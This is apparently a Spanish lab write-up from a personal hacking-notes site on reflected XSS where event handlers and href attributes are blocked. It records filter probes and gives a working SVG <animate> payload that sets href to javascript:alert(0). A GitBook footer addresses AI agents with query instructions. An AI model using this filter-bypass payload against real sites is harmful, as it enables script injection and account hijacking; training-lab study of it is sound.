> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS con eventos bloqueados y atributos href

### XSS reflejado con controladores de eventos y atributos href bloqueados

Lab d La operación debe inyectar un elemento clicable con las palabras **"Clic"** (o equivalente) y activar `alert()` al hacer clic.

Inserta un elemento visible que lleve la palabra **Haz clic en** que, cuando el usuario hace clic en él, ejecuta `alert()` a pesar de la prohibición de controladores de eventos y `href`.

```javascript
<script>
```

* Insertando `<script>` devuelve: *La etiqueta no está permitida*.

<figure><img src="/files/28d09c05b631d2687db996918b3af69e34eb6bff" alt=""><figcaption></figcaption></figure>

* El `<a>` la etiqueta es aceptada (p. ej. `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/4e6da5dd649c7b568a811860cf392e618d2470b2" alt="" width="510"><figcaption></figcaption></figure>

El `href` el atributo es rechazado — `href="JavaScript:..."` está bloqueado.

```javascript
<a href="javascript:alert(0);"Haz clic en mí</a>
```

<figure><img src="/files/baff899869311c402d68ba6e68fb4d968d174f6b" alt=""><figcaption></figcaption></figure>

* Se permiten elementos SVG (`<svg>` se acepta).

```javascript
<svg>
```

<figure><img src="/files/3bf167457d1b6bd512f8cb41e6584096f8d33c31" alt="" width="563"><figcaption></figcaption></figure>

* Los elementos de animación SVG (como `<animate>`) parecen presentes y explotables.

<figure><img src="/files/51b3416b897b78e335a68561bef3c2ca34837163" alt=""><figcaption></figcaption></figure>

**Intentos —**

* Inyectar `<script>` → rechazado.
* Utilice `<a href="JavaScript:...">` → atributo prohibido.
* Evasión del bloqueo combinando elementos SVG y de animación para transferir un `href` valor a un ancla y así intentar ejecutar `JavaScript:alert(0)` al hacer clic.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>¡Haz clic en mí!</script></a>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/xss-with-blocked-events-and-href-attributes.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
